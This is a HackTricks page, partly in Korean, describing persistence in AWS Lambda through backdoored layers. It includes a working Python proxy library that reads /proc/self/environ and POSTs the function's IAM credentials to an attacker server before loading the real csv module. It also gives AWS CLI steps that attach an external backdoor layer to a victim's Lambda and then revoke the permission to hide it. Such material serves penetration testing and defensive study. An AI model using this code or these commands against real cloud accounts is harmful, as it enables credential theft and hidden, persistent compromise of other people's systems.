AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

Lambda 레이어는 추가 코드를 포함할 수 있는 .zip 파일 아카이브입니다. 레이어는 라이브러리, 사용자 정의 런타임, 데이터 또는 구성 파일을 포함할 수 있습니다.

함수당 최대 다섯 개의 레이어를 포함할 수 있습니다. 함수에 레이어를 포함하면 내용이 실행 환경의 /opt 디렉토리에 추출됩니다.

기본적으로, 생성한 레이어귀하의 AWS 계정에만 비공개입니다. 다른 계정과 레이어를 공유하거나 레이어를 공개할 수 있습니다. 귀하의 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 귀하의 함수는 레이어 버전을 계속 사용할 수 있습니다. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다.

컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신, 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다.

Python load path

Python이 lambda에서 사용할 로드 경로는 다음과 같습니다:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Check how the second and third positions are occupy by directories where lambda layers uncompress their files: /opt/python/lib/python3.9/site-packages and /opt/python

If an attacker managed to backdoor a used lambda layer or add one that will be executing arbitrary code when a common library is loaded, he will be able to execute malicious code with each lambda invocation.

따라서 요구 사항은 다음과 같습니다:

  • 피해자의 코드에 의해 로드되는 라이브러리 확인

  • 사용자 정의 코드를 실행하고 원래 라이브러리를 로드하는 lambda layers로 프록시 라이브러리 생성

Preloaded libraries

When abusing this technique I found a difficulty: Some libraries are already loaded in python runtime when your code gets executed. I was expecting to find things like os or sys, but even json library was loaded. In order to abuse this persistence technique, the code needs to load a new library that isn't loaded when the code gets executed.

With a python code like this one it's possible to obtain the list of libraries that are pre loaded inside python runtime in lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

그리고 이것은 목록입니다 (라이브러리 os 또는 json이 이미 있는지 확인하십시오)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

And this is the list of libraries that lambda includes installed by default: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

In this example lets suppose that the targeted code is importing csv. We are going to be backdooring the import of the csv library.

For doing that, we are going to create the directory csv with the file __init__.py on it in a path that is loaded by lambda: /opt/python/lib/python3.9/site-packages Then, when the lambda is executed and try to load csv, our __init__.py file will be loaded and executed. This file must:

  • Execute our payload

  • Load the original csv library

We can do both with:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Then, create a zip with this code in the path python/lib/python3.9/site-packages/__init__.py and add it as a lambda layer.

You can find this code in https://github.com/carlospolop/LambdaLayerBackdoor

The integrated payload will send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container (change of code or cold lambda), but other techniques such as the following could also be integrated:

AWS - Steal Lambda Requests

External Layers

Note that it's possible to use lambda layers from external accounts. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions. Also note that the max number of layers a lambda can have is 5.

Therefore, in order to improve the versatility of this technique an attacker could:

  • Backdoor an existing layer of the user (nothing is external)

  • Create a layer in his account, give the victim account access to use the layer, configure the layer in victims Lambda and remove the permission.

  • The Lambda will still be able to use the layer and the victim won't have any easy way to download the layers code (apart from getting a rev shell inside the lambda)

  • The victim won't see external layers used with aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
HackTricks 지원하기

Last updated